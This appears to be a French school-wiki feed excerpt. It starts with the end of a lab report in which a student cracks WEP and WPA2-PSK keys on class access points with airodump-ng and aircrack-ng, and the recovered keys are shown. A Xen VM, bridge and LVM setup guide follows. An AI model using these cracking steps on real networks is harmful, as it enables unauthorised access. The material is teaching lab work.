* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12376</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12376"/>
		<updated>2026-02-24T14:18:28Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Configuration réseau de la VM mandataire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
